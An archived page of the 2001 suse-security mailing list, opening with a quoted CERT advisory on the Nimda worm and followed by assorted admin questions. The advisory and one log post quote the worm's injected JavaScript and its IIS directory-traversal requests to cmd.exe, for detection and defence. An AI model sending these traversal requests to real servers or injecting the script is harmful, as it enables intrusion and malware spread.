first > octet will be > chosen > > * 25% of the time, a random address will be chosen > > The infected client machine transfers a copy of the Nimda > code to any > server that it scans and finds to be vulnerable. Once > running on the > server machine, the worm traverses each directory > in the system > (including all those accessible through a file shares) > and write a > copy of itself to disk using the name "README.EML". When > a directory > containing web content (e.g., HTML or ASP files) > is found, the > following snippet of Javascript code is appended to every > one of these > web-related files: > > <script language="JavaScript"> > window.open("readme.eml", null, "resizable=no,top=6000,left=6000") > </script> > > This modification of web content allows further > propagation of the > worm to new clients through a browser or browsing of a > network file > system. > > Browser Propagation > > As part of the infection process, the Nimda worm > modifies all web > content files it finds (including, but not limited > to, files with > .htm, .html, and .asp extensions). As a result, any user > browsing web > content on the system, whether via the file system > or via a web > server, may download a copy of the worm. Some > browsers may > automatically execute the downloaded copy, thereby > infecting the > browsing system. > > File System Propagation > > The Nimda worm creates numerous copies of itself > (using the name > README.EML) in all writable directories (including > those found on a > network share) to which the user has access. If a > user on another > system subsequently selects the copy of the worm file > on the shared > network drive in Windows Explorer with the preview option > enabled, the > worm may be able to compromise that system. > > System FootPrint > > The scanning activity of the Nimda worm produces the > following log > entries for any web server listing on port 80/tcp: > > GET /scripts/root.exe?/c+dir > GET /MSADC/root.exe?/c+dir > GET /c/winnt/system32/cmd.exe?/c+dir > GET /d/winnt/system32/cmd.exe?/c+dir > GET /scripts/..%5c../winnt/system32/cmd.exe?/c+dir > GET /_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe?/c+dir > GET /_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe?/c+dir > GET > /msadc/..%5c../..%5c../..%5c/..\xc1\x1c../..\xc1\x1c../..\xc1\ x1c../winnt/system32/cmd.exe?/c+dir > GET /scripts/..\xc1\x1c../winnt/system32/cmd.exe?/c+dir > GET /scripts/..\xc0/../winnt/system32/cmd.exe?/c+dir > GET /scripts/..\xc0\xaf../winnt/system32/cmd.exe?/c+dir > GET /scripts/..\xc1\x9c../winnt/system32/cmd.exe?/c+dir > GET /scripts/..%35c../winnt/system32/cmd.exe?/c+dir > GET /scripts/..%35c../winnt/system32/cmd.exe?/c+dir > GET /scripts/..%5c../winnt/system32/cmd.exe?/c+dir > GET /scripts/..%2f../winnt/system32/cmd.exe?/c+dir > > Note: The first four entries in these sample logs denote > attempts to > connect to the backdoor left by Code Red II, while the > remaining log > entries are examples of exploit attempts for the > Directory Traversal > vulnerability. > > II. Impact > > Intruders can execute arbitrary commands within the > LocalSystem > security context on machines running the unpatched > versions of IIS. > Host that have been compromised are also at high risk for > being party > to attacks on other Internet sites. > > The high scanning rate of the Nimda worm may also > cause bandwidth > denial-of-service conditions on networks with infected machines. > > III. Solutions > > Recommendations for System Administrators of IIS machines > > To determine if your system has been compromised, > look for the > following: > > * root.exe artifact (indicates a compromise by > Code Red II or > sadmind/IIS worms making the system vulnerable to the > Nimda worm) > > * admin.dll artifact or unexpected .eml files in the > directories > with web content (indicates compromise by the Nimda worm) > > The only safe way to recover from the system compromise > is to format > the system drive(s) and reinstall the system software > from trusted > media (such as vendor-supplied CD-ROM). Additionally, > after the > software is reinstalled, all vendor-supplied security > patches must be > applied. The recommended time to do this is while the > system is not > connected to any network. However, if sufficient care > is taken to > disable all server network services, then the > patches can be > downloaded from the Internet. > > Detailed instructions for recovering your system can be > found in the > CERT/CC tech tip: > > Steps for Recovering from a UNIX or NT System Compromise > > http://www.cert.org/tech_tips/win-UNIX-system_compromise.html > > Apply the appropriate patch from your vendor > > A cumulative patch which addresses all of the > IIS-related > vulnerabilities exploited by the Nimda worm is > available from > Microsoft at > > > http://www.microsoft.com/technet/security/bulletin/MS01-044.asp > > Recommendations for End User Systems > > Apply the appropriate patch from your vendor > > If you are running a vulnerable version of Internet > Explorer (IE), the > CERT/CC recommends applying patch for the "Automatic > Execution of > Embedded MIME Types" vulnerability available from Microsoft at > > > http://www.microsoft.com/technet/security/bulletin/MS01-020.asp > > Run and Maintain an Anti-Virus Product > > It is important for users to update their anti-virus > software. Most > anti-virus software vendors have released updated > information, tools, > or virus databases to help detect and partially > recover from this > malicious code. A list of vendor-specific anti-virus > information can > be found in Appendix A. > > Many anti-virus packages support automatic > updates of virus > definitions. We recommend using these automatic > updates when > available. > > Don't open e-mail attachments > > The Nimda worm may arrive as an email attachment named > "readme.exe". > Users should not open this attachment. > > Disable JavaScript End-user systems can become > infected with the > Nimda worm by browsing web sites hosted by infected > servers. This > method of infection requires the use of JavaScript to be > successful. > Therefore, the CERT/CC recommends that end user > systems disable > JavaScript. > > Appendix A. Vendor Information > > Antivirus Vendor Information > > Central Command, Inc. > > > http://support.centralcommand.com/cgi-bin/command.cfg/php/endus > er/std_adp.php?p_refno=010918-000005 > > Command Software Systems > > http://www.commandsoftware.com/virus/nimda.html > > Data Fellows Corp > > http://www.datafellows.com/v-descs/nimda.shtml > > McAfee > > http://vil.mcafee.com/dispVirus.asp?virus_k=99209& > > Sophos > > http://www.sophos.com/virusinfo/analyses/w32nimdaa.html > > Symantec > > > http://www.symantec.com/avcenter/venc/data/w32.nimda.a@mm.html > > Trend Micro > > > http://www.antivirus.com/vinfo/virusencyclo/default5.asp?VName= > TROJ_NIMDA.A > > > http://www.antivirus.com/pc-cillin/vinfo/virusencyclo/default5. > asp?VName=TROJ_NIMDA.A > > You may wish to visit the CERT/CC's computer virus > resources page > located at > > http://www.cert.org/other_sources/viruses.html > > References > > Authors: Roman Danyliw, Chad Dougherty, Allen > Householder, Robin > Ruefle > > ______________________________________________________________________ > > This document is available from: > http://www.cert.org/body/advisories/CA200126_FA200126.html > > ______________________________________________________________________ > > CERT/CC Contact Information > > Email: cert(a)cert.org > Phone: +1 412-268-7090 (24-hour hotline) > Fax: +1 412-268-6989 > Postal address: > CERT Coordination Center > Software Engineering Institute > Carnegie Mellon University > Pittsburgh PA 15213-3890 > U.S.A. > > CERT personnel answer the hotline 08:00-20:00 EST(GMT-5) > / EDT(GMT-4) > Monday through Friday; they are on call for emergencies > during other > hours, on U.S. holidays, and on weekends. > > Using encryption > > We strongly urge you to encrypt sensitive information > sent by email. > Our public PGP key is available from > > http://www.cert.org/CERT_PGP.key > > If you prefer to use DES, please call the CERT > hotline for more > information. > > Getting security information > > CERT publications and other security information are > available from > our web site > > http://www.cert.org/ > > To be added to our mailing list for advisories and > bulletins, send > email to cert-advisory-request(a)cert.org and > include SUBSCRIBE > your-email-address in the subject of your message. > > * "CERT" and "CERT Coordination Center" are registered > in the U.S. > Patent and Trademark Office. > > ______________________________________________________________________ > > NO WARRANTY > Any material furnished by Carnegie Mellon University and > the Software > Engineering Institute is furnished on an "as is" > basis. Carnegie > Mellon University makes no warranties of any kind, either > expressed or > implied as to any matter including, but not limited to, > warranty of > fitness for a particular purpose or merchantability, > exclusivity or > results obtained from use of the material. Carnegie > Mellon University > does not make any warranty of any kind with respect to > freedom from > patent, trademark, or copyright infringement. > _________________________________________________________________ > > Conditions for use, disclaimers, and sponsorship information > > Copyright 2001 Carnegie Mellon University. > > Revision History > > September 18, 2001: Initial Release > > > > > > > -----BEGIN PGP SIGNATURE----- > Version: PGPfreeware 5.0i for non-commercial use > Charset: noconv > > iQCVAwUBO6fYPgYcfu8gsZJZAQEG4QQAoblNKbAX/bVmJBdXy2Juf9OsMZeO2bR5 > UW6hi7ddDkdUNBe52du2wU+n34tSjzA3c+0g9tYwKSXFeOp+m/CCLeYEXR+VTTel > RAmY1tOzDfMIDxD6+GrvfajYMz4pCGoSJgIdPGKxJm0Tnf6iv4akaYSAB4BPRw7A > FVp6JcCbatg= > =FizN > -----END PGP SIGNATURE----- >

1 0

automatic backups over ssh/scp
by Lukas Feiler 19 Sep '01

19 Sep '01

I want to do the following: backup all my sensitive date from my main server, pack it into one file and then get it transfered to my backup server. That's fine but my problem is that those two machines aren't in the same local network. So if I do not encrypt my data it would be (more or less) visible to everybody on the net (who has some hacking knowledge). But as I said this data is sensible (passwords, creditcards, ...)! So I thought of ssh or scp BUT how to automate this process of backing up? I would have to specify user AND password in my backup-script. How do specify a password for ssh / scp in a script?? Plese Help! Luke

14 30

SuSE firewall ipchain
by James McBoyle 19 Sep '01

19 Sep '01

Hi all, So that I can masquerade my home network and have it use my modem I've turn on the firewall that comes as standard with SuSE 7.0. The masqing works well and it was nice and easy to set up via YAST, but when it's on the rule set won't allow kmail to talk to my mail server, which I get to via the modem. I was thinking of doing something like 'ipchains -a ALLOW smtp mymachine' (better than adding allow smtp all, or allow all all (-: ) But wanted to make sure I was doing the correct thing to allow mail through (the fine manual is good, but had nothing specific) Is this correct, or is there a better way of allowing mail through an ipchains firewall? Many thanks for your time. Have Fun, Jim. -- James McBoyle /"\ james.mcboyle(a)sun.com \ / ASCII Ribbon Campaign Software Engineer X Against HTML Mail Integrated Software QED / \

1 0

nmap options
by Jesse yep 19 Sep '01

19 Sep '01

If all my ports are closed and someone does an 'nmap -sU -sT' scan on me and shows unfiltered ports. Could it be true, or is it just a false output? I heard somewhere that doing both of those options maybe give you false output, so im asking here ;) __________________________________________________ Terrorist Attacks on U.S. - How can you help? Donate cash, emergency relief information http://dailynews.yahoo.com/fc/US/Emergency_Information/

2 1

freeswan and suse 7.2
by Andreas Wahlert 18 Sep '01

18 Sep '01

Hi List, i attempt to run a freeswan ipsec for w2k Workstations with suse 7.2. I have no changes to the standart installation of the yast tool (no kernel changes, no changes in the ipsec.conf). At the start of freeswan i have an error number 22. The ipsec interface is up. Must i configure anyone before i start freeswan?? Must i configure the kernel. The doc says no. Thanx for Help Andreas

1 0

Command Logging
by Florian Meyer-Kassel 18 Sep '01

18 Sep '01

Hi all, I'm looking for something like a bash-replacement wich logs all commands with parameters etc a user issues. The bash-history isn't useful, because it can be changed/deleted by the user himself. Can anybody tip me into the right direction ? Thanks !! Mit freundlichen Grüssen Florian Meyer-Kassel --- Combax Aktiengesellschaft Florian Meyer-Kassel Server Administration Max-Eyth-Strasse 35 D-71088 Holzgerlingen T: +49.7031.741015-0 F: +49.7031.741015-99 E: f.meyer-kassel(a)combax.de --- This email and any files transmitted with it are confidential and intended solely for the use of the individual or entity to whom they are addressed. If you have received this email in error please notify the system manager.

9 11

Re: [suse-security] WEB IIS cmd exe requests
by michael.ryan＠storm.ie 18 Sep '01

18 Sep '01

It IS actually a scan for the CodeRed II backdoor See http://www.sarc.com/avcenter/venc/data/codered.ii.html Michael

4 3

RE: [suse-security] WEB IIS cmd exe requests
by Lars Schlimpert 18 Sep '01

18 Sep '01

fortunately i have a linux box with apache ! -:) only nerves logentrys... cu , lars > -----Original Message----- > From: r.maurizzi(a)gvs.it [mailto:r.maurizzi@gvs.it] > > I really hope it's not a worm that try to use the (very widespread now) > vulnerability to install something nastier. > > SuSE/Apache are unaffected, as always. >

3 2

NEW-Worm CODE BLUE
by Johann Steigenberger 18 Sep '01

18 Sep '01

Hi all, the new worm which spreads is not an CODERED, it is CODE BLUE. we reported about this on our Newsletter on 13.th September about this. A Description what it does can be found on our Website at: http://admins.ws/newsletter/20010913.htm (German Language) So it is nothing to panic for you - its only dangerous for unpatched Windows Boxes :-) Best Regards Johann Steigenberger ----------------------------------------------------------- Admins WebSecurity - who wants to hack your System today ? find it out, visit our website at http://www.admins.ws ----------------------------------------------------------- Bestellen auch Sie unseren kostenlosen Security-Newsletter. Sie werden dann über neue Gefahren informiert, bevor Ihnen oder Ihrer Firma ein Schaden entstehen kann !!! Senden Sie einfach eine E-Mail mit dem Betreff: SUBSCRIBE an: newsletter(a)admins.ws -----------------------------------------------------------

1 0

display
by jdd 18 Sep '01

18 Sep '01

I would like to be able to keep an eye on my internet traffic with xisdnload, but I don't care to let an open root terminal on my desk. how can I display such a window as a screen saver, for example? thanks jdd -- <http://www.dodin.net> <mailto:jdanield@dodin.net> WHO'S THAT GUY ? Help me found it Russia & South america help needed http://www.dodin.net/serge/index.html

2 2

Info: New Worm (was: WEB IIS cmd exe requests)
by Sven Michels 18 Sep '01

18 Sep '01

Quoting http://slashdot.org/ _ A new worm seems to be running around. Unlike Code Red, it attempts to hit boxes with many different requests (including what looks like an attempt to exploit boxes still rooted by Code Red). It looks like each IP is hitting 16 times. I had 20 different boxes each hit me 16 times, and I'm not alone. There is also a new mail worm mailing WAV files or something with bits of what appears to be the registry... it may or may not be related. Got any words on this? Shut down those windows boxes folks. And stop opening executable attachments. Oh, make that 21. Got another one while writing this story. I'm calling it 208 for now because all my hits are coming from 208.n.n.n (where I am) I'm sure it'll keep moving. _ have fun :/ -- intraDAT AG http://www.intradat.com Wilhelm-Leuschner-Strasse 7 Tel: +49 69-25629-0 D - 60329 Frankfurt am Main Fax: +49 69-25629-256

2 2

SuSEfirewall2 assistance
by Anthony Hogbin 18 Sep '01

18 Sep '01

Hello I have been working on a solution to a firewall I have been asked to build now for a week, and I have learnt a lot, but am repeatedly running into the fact I am doing something fundementally wrong. 217.34.xxx.high_end DSL ROUTER | | Firewall2 -----------------------217.34.xxx.low_end (Named/SQUID) | EXHCANGE Server | | | |-----------217.34.xxx.low_end | Backup Server | DHCP LAN Since I did not get to call the shots on the setup of their network the LAN needs to be able to see the services on the DMZ machines. and the DHCP machines need to be masqueraded to the outside world. Through change after change I have managed to get the initial issue solved (subnetting correctly so it knows where the lower and higher IP's are - Doh!). My boss is pushing for another solution - but I am confident I can solve it with this - although I am not producing the goods. If anyone has a similar configuration, or is willing to offer me some wise words - then please contact me directly. Many thanks AH -- For your amusement... # 2.) FW_DEV_EXT="eth0" # 3.) FW_DEV_INT="eth2" # 4.) FW_DEV_DMZ="eth1" # 5.) FW_ROUTE="yes" # 6.) FW_MASQUERADE="yes" FW_MASQ_DEV="$FW_DEV_EXT" FW_MASQ_NETS="$INT_LAN_RANGE,0/0,tcp,20 $INT_LAN_RANGE,0/0,tcp,21 $INT_LAN_RANGE,0/0,tcp,22 $INT_LAN_RANGE,0/0,tcp,23 $INT_LAN_RANGE,0/0,tcp,25 $INT_LAN_RANGE,0/0,tcp,37 $INT_LAN_RANGE,0/0,udp,37 $INT_LAN_RANGE,0/0,udp,43 $INT_LAN_RANGE,0/0,udp,53 $INT_LAN_RANGE,0/0,tcp,53 $INT_LAN_RANGE,0/0,tcp,80 $INT_LAN_RANGE,0/0,tcp,110 $INT_LAN_RANGE,0/0,tcp,113 $INT_LAN_RANGE,0/0,tcp,123 $INT_LAN_RANGE,0/0,udp,123 $INT_LAN_RANGE,0/0,tcp,143 $INT_LAN_RANGE,0/0,tcp,443 $INT_LAN_RANGE,0/0,tcp,554 $INT_LAN_RANGE,0/0,tcp,993 $INT_LAN_RANGE,0/0,tcp,1863 $INT_LAN_RANGE,0/0,tcp,2401 $INT_LAN_RANGE,0/0,tcp,5800 $INT_LAN_RANGE,0/0,tcp,5900 $INT_LAN_RANGE,0/0,tcp,6800:6900 $INT_LAN_RANGE,0/0,udp,6800:6900 $INT_LAN_RANGE,0/0,tcp,6901 $INT_LAN_RANGE,0/0,udp,6901 $INT_LAN_RANGE,0/0,tcp,6970:7170 $INT_LAN_RANGE,0/0,tcp,7070" # 7.) FW_PROTECT_FROM_INTERNAL="yes" # 8.) FW_AUTOPROTECT_SERVICES="yes" # 9.) FW_SERVICES_EXT_TCP="" FW_SERVICES_EXT_UDP="" # Common: domain FW_SERVICES_EXT_IP="" FW_SERVICES_DMZ_TCP="53 3128" FW_SERVICES_DMZ_UDP="53" FW_SERVICES_DMZ_IP="" FW_SERVICES_INT_TCP="23 53 3128" FW_SERVICES_INT_UDP="53" FW_SERVICES_INT_IP="" # 10.) FW_TRUSTED_NETS="$EXT_ZFT_GATE,tcp,22" #SSH/SCP from our gateway # 11.) FW_ALLOW_INCOMING_HIGHPORTS_TCP="yes" FW_ALLOW_INCOMING_HIGHPORTS_UDP="yes" # 12.) FW_SERVICE_AUTODETECT="yes" # Autodetect the services below when starting FW_SERVICE_DNS="yes" FW_SERVICE_DHCLIENT="no" FW_SERVICE_DHCPD="no" FW_SERVICE_SQUID="yes" FW_SERVICE_SAMBA="no" # 13.) FW_FORWARD="$INT_LAN_RANGE,$DMZ_IP_RANGE 0/0,$DMZ_EXCHANGE,tcp,25 0/0,$DMZ_EXCHANGE,tcp,80 0/0,$DMZ_EXCHANGE,tcp,135 0/0,$DMZ_EXCHANGE,tcp,443 0/0,$DMZ_BACKUP,tcp,21 0/0,$DMZ_BACKUP,tcp,20" # 14.) FW_FORWARD_MASQ="" # Beware to use this! # 15.) FW_REDIRECT="" # 16.) FW_LOG_DROP_CRIT="yes" FW_LOG_DROP_ALL="yes" FW_LOG_ACCEPT_CRIT="no" FW_LOG_ACCEPT_ALL="no" FW_LOG="--log-level warning --log-tcp-options --log-ip-option --log-prefix SuSE-FW" # 17.) FW_KERNEL_SECURITY="yes" # 18.) FW_STOP_KEEP_ROUTING_STATE="yes" # 19.) FW_ALLOW_PING_FW="no" FW_ALLOW_PING_DMZ="no" FW_ALLOW_PING_EXT="yes -- a n t h o n y h o g b i n -----------------------------------------------------

2 1

Re: [suse-security] WEB IIS cmd exe requests
by Michael Fulk 18 Sep '01

18 Sep '01

I started picking these up at about 9:15 CST, looks like someone is trying to exploit the Code Red II backdoor. 9/18/01 9:22:24 AM, Togan Muftuoglu <toganm(a)users.sourceforge.net> wrote: > >Hi, > >I thought Code RED was slowing down :-( Other then getting the regular >GET "default.ida" requests I have been logging things like this for the >last two hours from different IP's. > >1) Anyone else getting similar things or is me ? >2) Is it worth to bother sending these logs to the provider of the ip's ? > >TIA > >Sep 18 16:50:26 gardiyan snort: WEB-IIS cmd.exe access [Classification: Attempted User Privilege Gain Priority: 8]: 212.209.96.133:3317 -> 212.174.50.248:80 >Sep 18 16:50:26 gardiyan snort: WEB-IIS cmd.exe access [Classification: Attempted User Privilege Gain Priority: 8]: 212.209.96.133:3317 -> 212.174.50.248:80 >Sep 18 16:50:39 gardiyan last message repeated 3 times > > >::ffff:212.209.96.133%134580160 - - [18/Sep/2001:16:50:12 +0300] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 - "" "" >::ffff:212.209.96.133%134595336 - - [18/Sep/2001:16:50:13 +0300] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 - "" "" >::ffff:212.209.96.133%134595336 - - [18/Sep/2001:16:50:14 +0300] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - "" "" >::ffff:212.209.96.133%134595336 - - [18/Sep/2001:16:50:15 +0300] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - "" "" >::ffff:212.209.96.133%134595336 - - [18/Sep/2001:16:50:16 +0300] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - "" "" >::ffff:212.209.96.133%134595336 - - [18/Sep/2001:16:50:16 +0300] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - "" "" >::ffff:212.209.96.133%134595336 - - [18/Sep/2001:16:50:17 +0300] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - "" "" >::ffff:212.209.96.133%134595336 - - [18/Sep/2001:16:50:18 +0300] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - "" "" >::ffff:212.209.96.133%134595336 - - [18/Sep/2001:16:50:18 +0300] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - "" "" >::ffff:212.209.96.133%134595336 - - [18/Sep/2001:16:50:19 +0300] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - "" "" >::ffff:212.209.96.133%134595336 - - [18/Sep/2001:16:50:20 +0300] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - "" "" >::ffff:212.209.96.133%134595336 - - [18/Sep/2001:16:50:24 +0300] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - "" "" >::ffff:212.209.96.133%134595336 - - [18/Sep/2001:16:50:24 +0300] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - "" "" >::ffff:212.209.96.133%134595336 - - [18/Sep/2001:16:50:25 +0300] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - "" "" >::ffff:212.209.96.133%134595336 - - [18/Sep/2001:16:50:26 +0300] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - "" "" >::ffff:212.209.96.133%134595336 - - [18/Sep/2001:16:50:26 +0300] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - "" "" > >-- >Togan Muftuoglu > > >-- >To unsubscribe, e-mail: suse-security-unsubscribe(a)suse.com >For additional commands, e-mail: suse-security-help(a)suse.com > >

1 0

sort files by week
by spiekey 18 Sep '01

18 Sep '01

Hello! is it possible to sort my log files (one ech day) by week? So that a wekly cronjob finds all files from the last 7 days and creates a folder with the current date/week and copies the files in there. Maybe someone of u already have such a script, or something similar? THX 4 you time! Spiekey

1 0

SuSE is not logging anymore..
by spiekey 18 Sep '01

18 Sep '01

Hello! what could be the reason that suse won´t write into my /var/log/messages anymore? The last activity was from the 11th of September. Anyone any idea? Thank you, Spiekey

7 7

Deutscher Security Newsletter
by Johann Steigenberger 18 Sep '01

18 Sep '01

Hallo Marion, So einen Newsletter gibt es tatsächlich und kostenlos. Unsere Firma gibt Ihn heraus. Um ihn zu bestellen schicke einfach ein E-Mail mit dem Betreff: SUBSCRIBE an newsletter(a)admins.ws Liebe Grüße Johann Steigenberger =========================================================== Admins WebSecurity - who wants to hack your System today ? Find it out - visit our website at http://www.admins.ws

2 1

turning off ipv6 in Suse 7.2
by Emrah Türker 18 Sep '01

18 Sep '01

hi list, i would like to know how to disable ipv6 on my networkcard on SuSE Linux 7.2 which is activated by default. I got a tip that changing alias net-pf-10 off in the /etc/modules.conf instead of: alias net-pf-10 ipv6 would help, but there is no such entry...maybe anyone could help?

1 1

IPv6 deaktivieren ?
by Emrah Tuerker 17 Sep '01

17 Sep '01

hallo Liste, habe SuSE 7.2 installiert und wenn ich ifconfig aufrufe wird gezeigt das bei meinem Rechner IPv6 aktiviert ist. Da ich das leider nicht gebrauchen kann würde ich IPv6 gerne deaktivieren, hab nur nirgends gefunden wie oder wo? Kann mir jemand Helfen? mfg Emrah Tuerker _______________________________________________________________________ 1.000.000 DM gewinnen - kostenlos tippen - http://millionenklick.web.de IhrName(a)web.de, 8MB Speicher, Verschluesselung - http://freemail.web.de

2 1

Suche deutschsprachige Sicherheits-News
by marion＠deutschmann.net 17 Sep '01

17 Sep '01

Hallo, ich suche deutschprachige Sicherheits-News z.B. eine Mailingliste oder einen Newsletter. Es sollten möglichst alle gängigen Betriebssysteme darin behandelt werden., also Linux, Win2K, Solaris usw. Gibt es sowas ? Wenn ja wo ? Gruß Marion -- Get your firstname@lastname email for FREE at http://Nameplanet.com/?su

1 0

seccheck
by Eric Romang 17 Sep '01

17 Sep '01

Hello, I have install seccheck, but maybe the are some bogus. I have create users with /bin/false shell, to allow them to access only with ftp, and no telnet or ssh. But seccheck, just say's me : Warning: user xxxxx has got a password and a valid shell but never logged in. Ok, the user has a password to access only with ftp, but he had log on with ftp. seccheck don't make the difference between the shells and the ftp or anothers logins ? Regards. Eric Romang - System Administrator eric.romang(a)synapse.lu ---------------------------------------------------------------------------- --------- Site : http://www.synapse.lu Synapse Internet Services 49, Bd. G-D. Charlotte, L-1331 Luxembourg Tel : +352 / 44 79 44 77 Fax : +352 / 44 79 44 79 GSM : +352 / 021 7000 35 ---------------------------------------------------------------------------- ---------

1 0

qmail.rpm
by Ruben Konig 17 Sep '01

17 Sep '01

Hi list, Since configuring sendmail is a pain (to me that is) and since sendmail is known for its security holes, I decided that I want to try qmail. But SuSE doesn't distribute qmail. Does anyone outhere know where to download an RPM that can be trusted and that will fit in with my SuSE 7.1 (2.2) system? I learned to trust SuSE (I know, unwise), but who else can be trusted? Yours, Ruben -- Ruben Konig Communicatiewetenschap Katholieke Universiteit Nijmegen prive email adres r.konig(a)mailbox.kun.nl ruben(a)dromedaris.net

10 12

Re: [suse-security] Was ist das für ein Modul?
by Stefan_Walther＠gehag-dsk.de 16 Sep '01

16 Sep '01

Hi thomas, first I have to mention is that is an english list. The second is, that this module seems do dial with passwords. If you can tell me about the deamon you are using to enter the Internet via DSL, maybe I can tell you something more about this. THX MfG. Stefan Walther stefan_walther(a)gehag-dsk.de dienst.: +4930/89786448 Funk: +49172/3943961 Hallo allerseits, ich habe jetzt (endlich) DSL so leidlich am Laufen und erhalte beim Start in /var/log/messages folgenden Eintrag: Sep 16 19:07:33 nf3500 pppd[22578]: Plugin passwordfd.so loaded. Was ist das für ein Modul? Mit freundlichen Grüßen Thomas

1 0

Was ist das für ein Modul?
by Thomas Ruch 16 Sep '01

16 Sep '01

Hallo allerseits, ich habe jetzt (endlich) DSL so leidlich am Laufen und erhalte beim Start in /var/log/messages folgenden Eintrag: Sep 16 19:07:33 nf3500 pppd[22578]: Plugin passwordfd.so loaded. Was ist das für ein Modul? Mit freundlichen Grüßen Thomas

1 0

passwd hangs with 100% cpu load
by Markus Gaugusch 16 Sep '01

16 Sep '01

I'm running a server with SuSE 7.1 and kernel 2.2.19 (self-made with openwall patch). I have really tight security, and one problem: If used by a normal user, passwd hangs (after successfully changing the password!) with 100% cpu load. It can only be killed by root, ctrl-c does not work, and because of the procfs patch, the user can't see his passwd process (it is running as root, because it is suid). I never had any problems like that, another server with suse 6.3 and openwall patch works fine. If root tells the user the right PID, he can kill -9 the passwd process. strace doesn't work with suid root executables, and as root it works as it should. any hints? thank you Markus -- _____________________________ /"\ Markus Gaugusch ICQ 11374583 \ / ASCII Ribbon Campaign markus(a)gaugusch.dhs.org X Against HTML Mail / \

2 3

qmail.rpm
by Ruben Konig 15 Sep '01

15 Sep '01

Thanks list! Ruben -- Ruben Konig Communicatiewetenschap Katholieke Universiteit Nijmegen prive email adres r.konig(a)mailbox.kun.nl ruben(a)dromedaris.net

1 0

fw on CD
by kaldewey frank 14 Sep '01

14 Sep '01

Hallo :) has anyboddy work with the suse fw on CD What tell profis about? Thanx Frank

3 2

Configuration Problems with syslog
by Guido Tschakert 14 Sep '01

14 Sep '01

Hello list, I'm building a firewall-system with cisco-routers and a linux-box. All logging of the machines should be send via syslog to a log-box. For each machine I want a separate logfile. In cisco-ios I can say: logging facility local0 logging log-box, which tells the router to send all logging to log-box using facility local0. And tell the syslog on the log-box: facility local0 should be dumped in /var/log/router1 But I don't see any chance to change the facility of ipchains. It has the facility kern so that the logging of the firewall-linux-box is mixed together with the local logging of the log-box. Is there any change to configure syslog or ipchains to have two separate logfiles for the firewall-box and the log-box on the log-box. THX Guido -- ----------------- Guido Tschakert SRC, SysAd -----------------

3 2

AW: [suse-security] SuSE is not logging anymore..
by Hirsch Wolfgang 14 Sep '01

14 Sep '01

try to restart syslogd with kill -HUP pid Wolfgang -----Ursprüngliche Nachricht----- Von: spiekey [mailto:spiekey@hotmail.com] Gesendet: Freitag, 14. September 2001 13:13 An: suse-security(a)suse.com Betreff: [suse-security] SuSE is not logging anymore.. Hello! what could be the reason that suse won´t write into my /var/log/messages anymore? The last activity was from the 11th of September. Anyone any idea? Thank you, Spiekey

1 0

SuSE stopps logging!
by spiekey 14 Sep '01

14 Sep '01

Hello! My SuSE box stopps logging the /var/log/messages since the Sep. 11th. -rw-r----- 1 root root 530468 Sep 11 11:44 messages -rw------- 1 root root 12 Sep 14 10:04 messages.offset what is the message.offset good for? # less messages.offset 10817 530468 #--> that is exactly the size of my messages file. I am a bit worried. Spiekey

3 3

malicious IDE bit-zeroing worm ?
by dove 14 Sep '01

14 Sep '01

hi, vi, without an apparent reason, began to segfault on us. rpm -Vf `which vi` showed that the md5sum was incorrect. The timestamp on the file was unchanged. The substance of the problem is that two bytes in the vi binary have spontaneously become zero's. These bytes do not have a significant effect on the code, but do make it stop working: $ diff -u vi.hex vi.oops.hex --- vi.hex Thu Sep 13 08:58:03 2001 +++ vi.oops.hex Thu Sep 13 08:57:56 2001 @@ -9981,7 +9981,7 @@ 26fc0 88 c2 89 95 50 ff ff ff 83 c4 f8 6a 64 a1 3c ca .Â..Pÿÿÿ .Äøjd¡<Ê 26fd0 0d 08 50 e8 28 cf 01 00 83 c4 10 85 c0 0f 95 c0 ..Pè(Ï.. .Ä..À..À 26fe0 31 d2 88 c2 89 95 4c ff ff ff 83 c4 f8 6a 78 a1 1Ò.Â..Lÿ ÿÿ.Äøjx¡ -26ff0 3c ca 0d 08 50 e8 06 cf 01 00 83 c4 10 85 c0 0f <Ê..Pè.Ï ...Ä..À. +26ff0 3c ca 0d 08 50 e8 06 cf 01 00 83 c4 10 85 00 00 <Ê..Pè.Ï ...Ä.... 27000 95 c0 31 d2 88 c2 89 95 48 ff ff ff a1 60 5c 0d .À1Ò.Â.. Hÿÿÿ¡`\. 27010 08 c7 05 a0 57 0d 08 00 00 00 00 83 78 50 00 75 .Ç. W... ....xP.u 27020 43 83 7d 9c 00 75 3d 83 7d 98 00 75 37 83 c4 f8 C.}..u=. }..u7.Äø This machine is running kernel 2.4.4 and reiserfs. The disk is a 20G ST320413A IDE disk (PIIX4 chipset revision 1). interesting problem : could be a file system error in reiserfs but then how did it write to the binary ? and only the one ? wich means it could be a security problem ? obvious things eg. tripwire, snort, other binaries, -- checked, no obvious signs of compromise. running no services with known holes. thanks, doVe

2 1

Re: [suse-security] SuSE stopps logging!
by Markus Gaugusch 14 Sep '01

14 Sep '01

